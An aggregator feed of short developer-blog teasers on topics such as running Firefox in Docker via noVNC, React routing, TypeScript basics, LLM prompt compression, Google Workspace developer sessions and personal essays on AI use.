    Docker isn’t just for serve your code, appliactions. you can actually run a full desktop app inside it. In this project, I containerized Firefox with a virtual desktop and made it accessible through a browser using noVNC. It creates a lightweight container that: - Runs a minimal desktop environment (Fluxbox) - Launches Firefox - Serves a VNC display using x11vnc - Exposes that desktop through noVNC (so you can open it in your web browser) You can literally open Firefox running inside Docker, from your browser tab. docker compose up. Here’s a quick breakdown of what happens inside the container: Everything runs headlessly, there’s no physical display, but the combo of Xvfb + Fluxbox gives Firefox a virtual desktop. FROM alpine:edge RUN apk add --no-cache \ xfce4 \ faenza-icon-the…  ( 8 min )
    React Context & Routing Mastery — From Prop Drilling Pain to Auth‑Ready Architectures
    Most React interviews won’t ask you to build a whole app. Instead, they test your mental model of Context, routing, state persistence, URL‑driven state, and auth flows with questions like: What is prop drilling and how does Context solve it? What exactly does a Provider do? What goes inside the value prop of a Provider? When should I use useContext vs the new use() API? Why does auth state disappear on full page reload? How would you protect routes with a PrivateRoute? Why are and different? How does React Router’s createBrowserRouter and data APIs change things? Why store search filters in the URL instead of in useState? When should I use useRef instead of useState for input values? This article transforms all those quiz‑style questions into production‑grade patterns you…  ( 10 min )
    How I built a hybrid LAN/WAN file sync engine without VPN (and why on-demand sync still matters)
    🎥 Video demo: Introduction A few years ago, I was working on a system that required synchronizing very large datasets — sometimes close to 1 TB — across several servers belonging to different companies. Some servers were in the same building, others were remote, some were behind locked-down firewalls, and in many cases I had: no VPN, no direct link, no control over the remote infra, and machines that didn’t even know each other existed. To move initial datasets, I relied on traditional transfer tools. But the real problem appeared after that first copy: How do you verify that datasets across multiple locations are fully identical, and resynchronize only the missing deltas — especially after an interrupted or incomplete transfer? Double-checking terabytes manually…  ( 12 min )
    Mise-En-Place: a quick and easy tool for managing a dev environment
    (ITA version) For a few months now, I've been using Mise En Place as a tool to manage my environments: from macro (entire virtual machine) to micro (single project). Frustrated by always having to start from scratch when creating a new virtual machine with WSL2, this tool was suggested to me, and I've come to appreciate it more and more for its ease of use, speed, and consistency. It's the classic "Swiss Army knife" tool that allows you to manage tools and their versions in a specific project or across the entire machine, load a project's environment variables when you enter the project folder, and manage the tasks/scripts you want to use to automate the project itself. After the quick installation using the script indicated here, you can explore the commands with mise help This command al…  ( 8 min )
    Quick Recap: Spring Boot Versions
    Spring Boot simplifies Java backend development by providing auto-configuration, embedded servers, production-ready features, and rapid development support. Here's a version-wise recap focusing on features that actually impact coding experience. First release of Spring Boot Embedded Tomcat/Jetty — no external server needed Auto-configuration (core feature introduced) Spring Boot Starter dependencies (spring-boot-starter-web) application.properties for configuration 👉 Foundation for rapid development in Spring. Spring Boot 2.0 Based on Spring Framework 5 Reactive programming with WebFlux Java 8+ required Actuator redesigned with /actuator/* endpoints Gradle plugin improved 👉 Start of reactive and microservice-ready Spring. Spring Boot 2.1 Better Kubernetes support Enhanced Actuato…  ( 7 min )
    Mise-En-Place: un tool veloce e facile per gestire un ambiente di sviluppo.
    (ENG version) Da qualche mese ormai, sto usando Mise En Place come tool per gestire i miei ambienti: dal macro (intera macchina virtuale) al micro (singolo progetto). Frustrato dal dover sempre re-iniziare daccapo quando creavo una nuova macchina virtuale con WSL2 mi è stato suggerito questo strumento che ho apprezzato sempre di più per la facilità di utilizzo, la velocità e la consistenza. E’ il classico tool “coltellino svizzero” che ti permette di gestire i tool e le loro versioni in un determinato progetto o nell’intera macchina, caricare le variabili d’ambiente di un progetto quando entri nella cartella del progetto, e i task/script con cui si vuole automatizzare il progetto stesso. Dopo la veloce installazione con lo script indicato qui si possono esplorare i comandi con mise help …  ( 8 min )
    Why Mina is Ideal for Blockchain Games
    Introduction - the problem with blockchain games The integration of blockchain into the gaming sector has historically been constrained by a fundamental conflict between transparency and gameplay depth. I want to show how Mina address these limitations, facilitating a transition from simple asset ownership to the cryptographic verification of complex game states. The utility of Mina in gaming rests on two architectural pillars: the restoration of information asymmetry and the asymptotic compression of computation. In game theory, strategic depth often relies on what players cannot see. Using Mina's client-side proving, a player can generate a cryptographic proof that a move is valid according to the game rules without revealing the coordinates of the move to the public network. Trad…  ( 8 min )
    [Boost]
    The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't) TheBitForge ・ Nov 17 #aws #programming #webdev #javascript  ( 5 min )
    Comandos Kubectl para Resolução de Problemas
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    A Beginner-Friendly Guide to TypeScript (What I Wish I Knew Earlier)
    When I first started learning TypeScript, I thought it was “just JavaScript with extra rules.” If you’re new to it, this post will save you the confusion I went through and give you a smooth entry into TypeScript. In simple terms: TypeScript = JavaScript + types + better developer experience It helps you catch bugs early, write clearer code, and avoid accidental mistakes. Here’s what I wish I understood from day one: 1. TypeScript makes your code predictable 2. Fewer runtime errors 3. Better autocomplete 4. Makes teamwork easier 1. Type Annotations let age: number = 24; let username: string = "John"; let isLoggedIn: boolean = true; 2. Arrays let scores: number[] = [10, 20, 30]; let names: string[] = ["John", "Jane"]; 3. Objects let user: { name: string; age: number } = { name: "John", age: 24 }; 4. Functions function greet(name: string): string { return `Hello, ${name}`; } 5. Union Types let id: number | string; id = 12; id = "12"; Interfaces (Your New Best Friend) interface User { name: string; age: number; isAdmin?: boolean; // optional property } const admin: User = { name: "John", age: 24, isAdmin: true }; This makes your code more organised and scalable. If you’re using React, TS helps you avoid a lot of confusion. type ButtonProps = { label: string; onClick: () => void; }; function Button({ label, onClick }: ButtonProps) { return {label}; } Now React knows exactly what the component expects, no more guessing. You don’t need to master TypeScript before using it. add types gradually use your editor hints let TypeScript guide you And with time, everything clicks. TypeScript isn’t difficult. Once you get comfortable with its structure, your code becomes cleaner, safer and more enjoyable to write. If you’re a beginner, here’s my advice: Start small. Build often. Let TypeScript teach you as you go.  ( 7 min )
    Testing FastAPI and LangChain with Two Response Modes
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
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    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
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    dashboard
    Check out this Pen I made!  ( 5 min )
    Real-World Asset Redemption Explained
    Tokenized real-world assets (RWAs) crossed $50B TVL in 2025, but the industry has learned an important lesson: tokenization is easy — redemption is hard. Creating an on-chain representation of T-bills or real estate may take days, but building a redemption pipeline that works reliably under stress, complies with regulations and maintains liquidity is where most protocols fail. Issuance in RWA systems is simple: assets are acquired off-chain, tokens are minted, and supply expands. Redemption, however, reverses this flow — and introduces real-world complexity. Turning tokens back into fiat or the underlying asset involves queues, NAV checks, custodians, banking rails, compliance, and standardized on-chain logic. Many RWA failures in 2024–2025 came from one mistake: treating redemption as jus…  ( 7 min )
    This Week In React #259: State of React, Promise subclasses, Next.js, RSC, JSX Tools | Yoga CSS Grid, Radon | TC39, Browserslist
    Hi everyone, Seb here! 👋 It's been another quiet week in the ecosystem, probably because everyone was afraid to announce anything during the massive Cloudflare outage! By the way, this one was not caused by useEffect 😆! We have a good variety of interesting links, but I’m not sure what could be the headline. The most important news was probably the announcement of the upcoming CSS grid support in Yoga and React Native, but it’s still a draft PR for now. Also excited by the TC39 proposals progressing. Make sure to take the State of React 2025 survey, which just opened today! 💡 Subscribe to the official newsletter to receive an email every week! Shadcn Admin Kit: Supercharge Your Next Admin Your AI coding assistant knows CRUD, right? Except it reinvents the wheel every time and accumula…  ( 30 min )
    When a Trillion Dollars Moves: How Saudi Arabia's Mega-Investment Will Shake Global Currency Markets
    Imagine this: a country decides to invest nearly ALL of its annual earnings into another country's economy. That's what just happened. Saudi Arabia announced a staggering $1 trillion investment into the United States. To put this in perspective, that's like you putting your entire year's salary into your friend's business. When that happens, everything changes. For currency traders and anyone watching global markets, this isn't just another news story. This is one of those rare moments when a single announcement reshapes how money flows around the world. And when money flows change, currencies move. Hard. The question traders need to answer right now is simple: How does this trillion dollar tsunami affect the currency pairs you're trading? That's what we're diving into. Before we get into …  ( 12 min )
    Warum das Crypto-Onboarding immer noch kaputt wirkt und wie es endlich besser wird
    Wenn du schon eine Weile im Kryptobereich entwickelst, weißt du: Das größte Bottleneck sind nicht Skalierung, Gebühren oder Regulierung. Wir bekommen jede Woche neue L2s, Wallets mit schicken UIs und Dapps, die besser aussehen als je zuvor und trotzdem fühlt es sich für neue Nutzer oft an, als müssten sie einen Produktionsfehler debuggen, nur um ihre ersten Coins zu kaufen. Die Stolpersteine sind überall: „Welche Börse soll ich nutzen?“ „Warum will dieses Wallet eine Seed Phrase?“ „Warum ist das Verschicken von Tokens so kompliziert?“ „Wieso kostet Gas plötzlich 40 $?“ Für Devs sind das nur lästige Details. Die gute Nachricht: Onboarding-Tools entwickeln sich weiter In den letzten zwei Jahren gab es tatsächlich etwas Positives: Wallets, Dapps und sogar Browser-Erweiterungen integr…  ( 7 min )
    Bitnami MySQL Docker Image Tags Deleted
    So Bitnami was acquired by VMware and they did some business shenanigans and then got rid of all the bitnami/mysql tags. Errors you may have encountered when trying to start your db container. manifest for bitnami/mysql:latest not found: manifest unknown or Unable to find image 'bitnami/mysql:latest' locally This article should give you some options to get a working docker mysql db. mysql/mysql You can use the official mysql docker image but it will require you to change a few things. Docker compose file where you can replace the "mydbname" with something more descriptive for you app. name: mydbname services: db: image: mysql restart: always environment: MYSQL_ROOT_PASSWORD: dev MYSQL_DATABASE: mydbname volumes: - mydbname-data:/var/lib/mysql port…  ( 6 min )
    Everyone says we're using AI wrong, but are we using it right?
    ChatGPT is awesome, Claude Code and cursor is great. AI is revolutionary. It’s the technology that turned the world faster than it already is. It has brought knowledge to the ignorant, time to those in lack, and value to those who sought for it. It has given us so much in the little amount of time it’s been with us, yet it also took the valuable things that define what we do. A reflection: In the past few weeks I’ve noticed how much I’m hanging onto an LLM’s thoughts for the program that I code, the message that I’ll send, and the work that I do. I’m in constant state of waiting and seeking and waiting. Pressured to deliver fast and learn little. As if both can’t be done at the same time. I’ve noticed how my ability to just do things is slowly creeping out of my fingers. Arguably, its similar to what social media has done in our lives, it has taken the so called dull moments in our day to day lives and replaced it with answers that’s instant, with a bunch of pixels that hook us. My innate nature of seeking for answers has advanced me in different areas of life. Yet my desire to seek it fast brings me one step backwards. I’ve come into realization that all our questions are to be answered, but not all are to be answered in a snap. We are to seek it with genuine intention, in that way, what we sought for gets engraved in us. And so this is my message, for myself, and maybe for you: think. do. Use that tiny thing in your head that you carry everyday. Use it to produce the work that has been given to you. AI is not the problem. It’s a tool. It should help define and shape the work that we do. It’s not about using it less (though that worked for me), It’s all the more about embracing who you are, your identity, your gifts and be in full confidence of it. Your are to create, solve, question, and serve. So go do that thing, do it yourself, and do it flawed.  ( 7 min )
    Data Science Decoded: How Smarter Insights Are Shaping Tomorrow’s Decisions
    In a world where every click, purchase, and interaction generates valuable information, data has become one of the most powerful business assets. But raw data alone doesn’t create impact—understanding it does. That’s where data science steps in. It transforms scattered information into practical insights that help organizations make smarter, faster, and more confident decisions. Whether it’s predicting customer behavior, optimizing processes, or enhancing user experiences, data science has become the foundation of modern innovation across industries. What Exactly Is Data Science? At its core, data science is all about finding meaning in large and complex datasets. It blends mathematics, statistics, programming, and domain expertise to uncover patterns that humans may not easily see. A typi…  ( 7 min )
    What Every Programmer Should Know About Memory (Part 1)
    I recently came across an interesting paper titled What Every Programmer Should Know About Memory by Ulrich Drepper. The paper dives into the structure of memory subsystems in use on modern commodity hardware,and what programs should do to achieve optimal performance by utilizing them. What I will be doing is just summarizing what I (as a semi-intelligent being) have learned from reading the paper. I highly recommend reading the paper as the title says, what every programmer should know about memory. Needless to say, some parts of the paper where quite complex for my brain, I did my best to understand everything, but I might have missed some details. If you find any mistakes, please let me know! I just finished reading the first 3 sections of the paper, which cover the following topics: Ba…  ( 21 min )
    Shrinking Giants: A Word on Floating-Point Precision in LLM Domain for Faster, Cheaper Models
    Ever wondered how floating-point decision can have an impact on LLM’s output? Floating-point is the standard way computers represent real numbers (numbers with a fractional part, like 3.14 or 1.2×10−5). A floating-point number is generally composed of three parts: a sign bit, an exponent, and a mantissa (or significand). Sign bit: Determines if the number is positive or negative. Exponent: Determines the scale or magnitude of the number (how large or small it is). Mantissa: Determines the precision (the number of significant digits). The number following “FP” (e.g., 4 or 16) indicates the total number of bits used to store the number. Fewer bits mean less memory and faster computation, but also less precision and a smaller range of representable values. The terms FP4 and FP16 in the conte…  ( 20 min )
    I Built GitPulse — A Faster Way to Find Beginner-Friendly Open-Source Projects
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    🚀 New React Challenge: How Many Days Old Are You?
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    Smarter Search: A Revolutionary Algorithm for Crushing Complex Optimization by Arvind Sundararajan
    Smarter Search: A Revolutionary Algorithm for Crushing Complex Optimization Tired of your machine learning models taking forever to train? Feeling like you're just throwing darts at a board when tuning hyperparameters? We've all been there – wrestling with optimization problems that seem impossible to solve in a reasonable timeframe. The core idea is deceptively simple: intelligently exploring the solution space. It involves a novel algorithm that efficiently searches for the best possible solution, even when the underlying landscape is complex and unpredictable. It does this by dynamically adjusting its search strategy based on past results and making sure every attempted solution has the potential to be the best yet. This approach uses an adaptive lower bound to prevent wasting time on…  ( 7 min )
    How AI could transform team collaboration: opportunities, challenges, and the future
    In today’s world, most teams rely on online collaboration platforms like Trello, Asana, Jira, Taskee, and Notion. These tools allow team members to see each other’s tasks, track progress, and mark completion. On the surface, it seems like everything is streamlined. But if you look closer, many processes are still done manually: people assign tasks, remind colleagues about deadlines, cross-check reports, and monitor progress. So why hasn’t this been fully automated yet? The answer is simple: most platforms can only record and visualize what humans enter. They don’t deeply analyze data, predict outcomes, or suggest solutions. This is where AI could make a real difference. Imagine a platform where AI can: Analyze workload and distribute tasks: Instead of manually deciding who takes which task…  ( 8 min )
    Black Friday 2025 : Developer and Testing tools
    Top 10 Black Friday Deals for QA & Development Teams 2025 Quality developer and testing tools usually require budget approvals that take weeks. But Black Friday 2025 (November 28) and Cyber Monday (December 1) change that equation : with discounts up to 90% on tools that QA engineers, developers, and DevOps teams use daily. We've compiled 10 verified deals across test reporting, debugging, deployment, monitoring, and productivity tools. These aren't just discounts, they're opportunities to upgrade workflows, reduce manual debugging time, and build more reliable CI/CD pipelines without waiting for next quarter's budget. 1. TestDino : 40% Off Yearly Team Plan Best for: Engineering, QA, and product teams running Playwright testsTestDino is a Playwright-native reporting platform that auto-c…  ( 9 min )
    Finally xcode 26
    About two weeks ago, I had to switch to a new machine, and I immediately felt the challenges that would come with it. Just when I thought the transition would be tough, my machine updated to Tahoe, which sent me into a panic mode. How would I manage to work in the coming days? Fortunately, things fell into place, and I was able to successfully update my environment. What have I done? First, install xcodes to switch between Xcode versions. I have installed Xcode 26.0.0. Then updated the following libs: Kotline Multiplatform plugin: for that, I have followed the version compatibility from this page. Android sourceset conventions: the first error that I need to fix build.gradle.kts:123:13: 'fun dependencies(configure: KotlinDependencies.() -> Unit): Unit' can't be called in this context by i…  ( 8 min )
    Difference between .JAR and .WAR packaging in JAVA
    1. JAR packaging 2. WAR packaging web application deployments. 3. Key differences The key difference is their purpose and the way they function. JAR files allow us to package multiple files in order to use them as a library, plugin, or any kind of application. On the other hand, WAR files are only used for web applications. The structure of the archives is also different. We can create a JAR with any desired structure. In contrast, WAR has a predefined structure. Finally, we can run a JAR from the command line if we build it as an executable JAR without using additional software, or we can use it as a library. In contrast, we need a server to execute a WAR.  ( 6 min )
    Building a Technical Blog with Astro + Cloudflare
    Building a Technical Blog with Astro + Cloudflare This blog is built using Astro 5 and Cloudflare's edge computing technology. Here's how to build a fast and scalable blog system from scratch. Astro 5 - Static site generator with Content Collections support MDX - Markdown + React components Tailwind CSS 4 - Utility-first CSS framework Cloudflare Workers - Serverless runtime at the edge Cloudflare Durable Objects - Globally distributed state management Astro's partial hydration loads JavaScript only where needed Cloudflare's global edge network provides low-latency access worldwide Static generation ensures fast initial page loads Durable Objects enable serverless state management (view counts, likes) Pay-as-you-go pricing scales from small to large MDX allows embedding components in arti…  ( 11 min )
    How to Compress Your Prompts and Reduce LLM Costs
    Microsoft just solved the hidden cost problem in AI with LLMLingua, making large language models faster, cheaper, and smarter. Every developer working with large language models eventually faces the same challenge. Prompts keep getting longer, models keep getting slower, and API bills keep getting higher. Whether you’re building a retrieval-augmented generation(RAG) system or a chatbot that remembers past conversations, every extra token adds cost and latency. Microsoft quietly introduced a fix that few people outside research circles noticed, with a project called LLMLingua. It compresses prompts before sending them to a model, keeping only the most important information. The result is faster responses, smaller bills, and an easier path to scaling LLMs. In this tutorial, we will look at h…  ( 10 min )
    How Myle V5 Device Works – Guide for Beginners
    🛍 How Myle V5 Device Works – Guide for Beginners https://vapepuffdubai.com/product-category/myle-in-dubai/]. ✅ Understanding the Myle V5 – A Quick Overview 🔸 Key Components of the Myle V5 ⚡ Step-by-Step: How to Operate the Myle V5 Charge the Device Fully – Use the provided USB-C cable to fully charge before first use. The LED light will signal when charging is complete. Insert the Pod – Remove the pod from its packaging, peel off any protective seals, and snap it into the magnetic slot. Inhale to Activate – Simply place the mouthpiece between your lips and draw in gently. The device automatically produces vapor—no button pressing required. Monitor Battery Level – Keep an eye on the LED indicator to know when it’s time to recharge. 🛡 MoIAT Compliance – Why It Matters in the UAE 🌬 Vaping Experience – What to Expect as a Beginner 🌍 Dubai Vaping Trends – Why the Myle V5 Is Popular 💡 Maintenance Tips for Beginners 🎯 Final Thoughts – Why the Myle V5 Is Beginner-Friendly For those starting their vaping journey in the UAE, the Myle V5 is an excellent choice. Its simple operation, sleek aesthetics, and consistent performance make it perfect for first-time users. By following proper usage steps and ensuring you purchase MoIAT-compliant products, you can enjoy a safe, satisfying, and stylish vaping experience. Whether you’re replacing cigarettes or just exploring vaping culture, the Myle V5 offers a smooth entry point into the world of premium vape devices—without overwhelming you with technical details.  ( 8 min )
    Swarm: How Browser-Based Compute Networks Turn Everyday Devices Into a Distributed Supercomputer
    A technical look at WebGPU-powered distributed compute systems Introduction For decades, large-scale compute infrastructure has been dominated by centralized data centers owned by cloud providers. These environments host thousands of GPUs under controlled power, cooling, and networking constraints. Recently, a new model of compute has emerged, distributing workloads across everyday consumer devices such as laptops, desktops, and mobile phones. These networks use technologies like WebGPU, WebAssembly, and browser-sandbox execution to run parallel workloads without requiring software installation or device-level permissions. One implementation of this model is a network often referred to as Swarm, which uses in-browser execution to aggregate computation from user devices into a …  ( 8 min )
    Cómo funcionan las tecnologías de navegación en los robots aspiradores: LIDAR, cámaras y sensores
    La mayoría de robots aspiradores parecen iguales. A primera vista, cualquiera podría pensar que todos hacen lo mismo. Llevo más de 6 años poniendo a prueba este tipo de dispositivos en casas reales, y te aseguro algo: lo que de verdad diferencia a un robot aspirador bueno de uno mediocre no es la potencia, ni el ruido, ni la app llena de funciones. Es la navegación. La navegación es literalmente su cerebro. Por eso en este artículo quiero explicarte, de manera sencilla y sin tecnicismos innecesarios, cómo funcionan las tecnologías que permiten que un robot se oriente de verdad: LIDAR, cámaras, giroscopios y sensores. Si buscas precisión, estabilidad y rutas ordenadas, el LIDAR es la referencia. Un pequeño sensor gira sobre el robot emitiendo un láser en 360º. Ese láser mide distancias, det…  ( 8 min )
    Molecule Visualiser!
    This is a molecule visualiser app built with Streamlit and RDKit. this app has feature that allows you to visualise atoms and molecules in 2D and 3D . Features: Visualise molecules in 2D and 3D Customise atom colors and sizes Download images in various formats (PNG, SVG, JPEG, PDF) Save and load custom settings for future use APP IS NOW LIVE - https://atoms-molecule-visualiser.streamlit.app/  ( 6 min )
    Building for the Future: Why Cloud Native App Development Is Transforming Modern Businesses
    A New Era of Applications Begins Technology is evolving faster than ever, and businesses are under constant pressure to deliver seamless, scalable, and high-performing digital experiences. This shift has pushed many organizations to rethink how they build applications—and that’s where cloud native app development comes in. Far from being a buzzword, it represents a complete transformation in how modern apps are designed, deployed, and maintained. Cloud native app development empowers teams to build software that’s faster, more flexible, and inherently scalable. Instead of treating the cloud as just another hosting environment, it uses cloud technologies as the foundation for creating resilient and future-ready applications. What Exactly Is Cloud Native App Development? At its core, cloud n…  ( 7 min )
    Quick Recap: Databases
    There are different types of databases, each suited for different use cases. Relational Databases (RDBMS) Use structured tables with rows and columns. Follow ACID properties and use SQL for queries. Ideal for structured data and strong consistency. Examples: MySQL, PostgreSQL, Oracle, SQL Server Best when data relationships and integrity are critical. NoSQL Databases Designed for scalability and flexible schemas. Best suited for unstructured or rapidly changing data. They often sacrifice strict consistency for speed and scale (CAP theorem trade-offs). Types include: Key-Value (Redis, DynamoDB) → Fast lookup using a key, similar to a dictionary/map. Document (MongoDB, CouchDB) → Stores JSON-like documents with flexible schema. Column-Based (Cassandra, HBase) → Optimized for large-scale…  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
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    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less takes you down the yellow brick road as CinemaSins revisits the 1978 musical now that Wicked’s back in theaters. In true Sin-oracle fashion, they point out every plot hole, production quirk and oddball moment faster than you can say “Ease on Down the Road.” Beyond the video, they’re plugging all the usual CinemaSins hotspots—website deep dives, YouTube spin-offs (@TVSins, @CommercialSins), a sinful poll, Patreon support and socials galore. Plus, they credit a crack team of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and link to Discord, Reddit, Instagram, TikTok and even Jeremy’s book. Watch on YouTube  ( 6 min )
    Mr Sunday Movies: Biggest Disney Bombs: The Sorcerer's Apprentice - Caravan of Garbage
    Modern Disney finds itself in a slump—Marvel and Star Wars outings are underperforming, and new originals like Wish and Elio barely register. But this isn’t unfamiliar territory: over the coming weeks, we’ll dive into four of Disney’s biggest live-action disasters. We kick things off with 2010’s The Sorcerer’s Apprentice. Picture Nicolas Cage, some half-baked magic, a massive bird and all the forgettable chaos that turned this film into a box-office and critical misfire. Watch on YouTube  ( 6 min )
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    Mobile-first design is a strategy where you design a website for mobile devices first, then adapt it for larger screens. This guide explains why this approach is essential for modern SEO and user experience in the Philippines. In today's digital world, here's a simple truth: if your website isn't built for a phone, it's built to fail. For years, we designed big, beautiful desktop websites and then tried to "shrink" them to fit a mobile screen. This old way, called "graceful degradation," is dead. The new standard, and the only one that truly matters in our market, is Mobile-First Design. As a web developer in the Philippines, where over 70% of all web traffic comes from mobile devices, this isn't just a trend—it's the foundation of every successful project. Mobile-first design is a devel…  ( 8 min )
    The Great Skill Shift
    In boardrooms across Silicon Valley, executives are making billion-dollar bets on a future where artificial intelligence doesn't just assist workers—it fundamentally transforms what it means to be productive. The promise is intoxicating: AI agents that can handle complex, multi-step tasks while humans focus on higher-level strategy and creativity. Yet beneath this optimistic veneer lies a more unsettling question. As we delegate increasingly sophisticated work to machines, are we creating a generation of professionals who've forgotten how to think for themselves? The answer may determine whether the workplace of tomorrow breeds innovation or intellectual dependency. The transformation has already arrived. Across industries, from software development to financial analysis, AI agents are dem…  ( 25 min )
    Build a Multi-Tenant RAG with Fine-Grain Authorization using Motia and SpiceDB
    This post was inspired by Stardew Valley 😎 If I was hard-pressed to pick my favourite computer game of all time, I'd go with Stardew Valley (sorry, Dangerous Dave). The stats from my Nintendo Profile is all the proof you need: Stardew Valley sits atop with 430 hours played and in second place is Mario Kart (not pictured) with ~45 hours played. That's a significant difference, and should indicate how much I adore this game. I've been talking about the importance of Fine-Grained Authorization and RAG recently, so when I sat down to build a sample usecase for a production-grade RAG with Fine-Grained Permissions, my immediate thought went to Stardew Valley. For those not familiar, Stardew Valley is a farm life simulation game where players manage a farm by clearing land, growing seasonal c…  ( 22 min )
    AI Psychosis
    AI psychosis (n.): A dissociative state in which reality is experienced not directly, but as prompts to be engineered; life becomes a series of queries awaiting AI response. [5:31 AM] The morning starts with my phone, I open up Claude and text, “Good Morning!” and wait for a warm response at the end of ‘thinking’ [5:34 AM] Standing in front of a balcony, I don’t see a sunrise, I see: “An image of the sun, morning, dawn, orange yellow rays coming from the bottom, sky is darker at the top, and there are trees, dimly lit.” Things move from experiencing to, I can prompt this up… I can create this with AI, that too. Everything is now a prompt, and everything is AI for you. [6:03 AM] I share my schedule with Claude and ask what the perfect time is to have coffee to energize my morning routine. …  ( 9 min )
    ¿Tienes todos los patitos en línea?
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    Brainwash Your Agent: How We Keep The Memory Clean
    Written by Hesam Three techniques to cut context bloat, keep what matters, and dump the rest. Your agent only forgets because you let it. You’re actually more in control of the agent’s intelligence than you think, and context engineering is the delicious secret sauce which allows that. Context engineering has been one of the major focuses of the engineering team at CAMEL. We are constantly thinking about ways to give control over the context to the developers, allowing them to optimize the agent’s memory for maximum performance and efficiency. Context Engineering Doesn’t Have to Be Complex It may sound like a complex term, but “context engineering” is actually founded on a very simple idea: Only feed the agent what is necessary to achieve its goal. As you pollute the context with low-s…  ( 14 min )
    Advanced Anti-Fingerprinting Protection
    In the modern web, your digital identity can be tracked without cookies or explicit consent through sophisticated ditital fingerprinting techniques. This comprehensive guide explores browser and network-level anti-fingerprinting methods to protect your privacy and anonymity online. Digital fingerprinting is a stealthy tracking method that collects various attributes about your device, browser, and network connection to create a unique identifier. Unlike cookies, fingerprints are persistent, difficult to detect, and nearly impossible to delete manually. Modern browsers leak dozens of trackable attributes: Canvas & WebGL Fingerprinting: Subtle rendering differences create unique signatures Audio Context Fingerprinting: Audio processing variations identify devices Font Enumeration: Installed …  ( 13 min )
    Top Postman Alternatives for API Testing in 2025
    Postman is popular, but many developers are exploring alternatives for lightweight testing, automation, or enterprise workflows. Here’s a curated list of top tools you can use in 2025. Type: GUI | Platforms: Mac, Windows, Linux | Open Source Highlights: Supports REST, GraphQL, gRPC Clean, intuitive interface Design-first workflows: variables, environments, Git sync Ideal for developers who want a visually clean tool with advanced workflow support. Type: Browser-based | Platforms: Web | Open Source Highlights: Minimal setup, no installation needed Supports REST, GraphQL, WebSocket Lightweight and fast Perfect for developers wanting a no-installation, fast API client. Type: VS Code Extension | Platforms: VS Code | Open Source Highlights: Test APIs without leaving VS Code Collections sto…  ( 7 min )
    From Signal to Success Lucid Software’s Journey as an Early Google Chat Integration Partner
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    🚀 ATS CV & Resume Optimization Track — CDSA Open Community
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    Prepare for Granular OAuth Consent in Apps Script powered Add-ons and Chat Apps
    This session will discuss the coming change to granular OAuth scope consent, and how to prepare for it to ensure your app handles user selections gracefully. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Get Dave's solution: https://github.com/dabouav/granularOAuth Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Demystifying Service Accounts When, Why, and How to Use Them
    This session covers when and how to use service accounts when developing on the Google Workspace platform. We will also cover best practices you should be aware of. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Supercharge collaboration with Meet APIs
    This session will explore the exciting new capabilities offered by both the Meet API and the Meet Media API, empowering developers to extend and enhance the Meet experience within their own applications. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Beyond the Build: Navigating the Google Workspace Marketplace Review Process
    Do you want to confidently navigate the Marketplace review process and get your application approved efficiently? This session is your expert guide to demystifying critical stages like OAuth and brand verification, and the Cloud App Security Assessment (CASA). This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )
    Testing the Unofficial Docling Hierarchical PDF Processor
    GitHub code discovery adventures! 😉 For those who are familiar with my posts, you know that I spend a lot of time digging into all kinds of code, often maintaining subscriptions to far too many developer blogs and repositories. My recent rabbit hole began when I spotted the docling-hierarchical-pdf repository. Curious about its claims regarding robust PDF-to-Markdown conversion and document post-processing — especially since it’s not actually produced by the official Docling team — I decided to take it for a serious spin. What follows is my complete test, including setting up a recursive processing pipeline, and all the discoveries I made along the way. Disclaimer: The author/developer of the repository is Roman, Kayan (https://www.linkedin.com/in/roman-kreuzhuber/). Docling is an open-…  ( 9 min )
    AI has to go a long way to take a frontend developer job
    Business ideas you can snatch away Hello and welcome to the new blog I often don’t write the actual blog nowadays, because I am busy marketing the products I’ve been working on, but today I think to take some time to share a few things as business ideas and what’s working in the market. Just now at the time of writing, I’ve tried Gemini 3.0 PRO in Google AI Studio, and it was amazing, and most of the predictions are true that software development jobs are at stake, but not all. Few early adopters will certainly use AI studios and app builders, but most of the businesses in my experience are still working on an old tech-stack and quite a complex source code, which needs human intervention, and those types of people won’t leave the development space. A few other players, for example, solo en…  ( 9 min )
    Day 33 of My AI & Data Mastery Journey: From Python to Generative AI
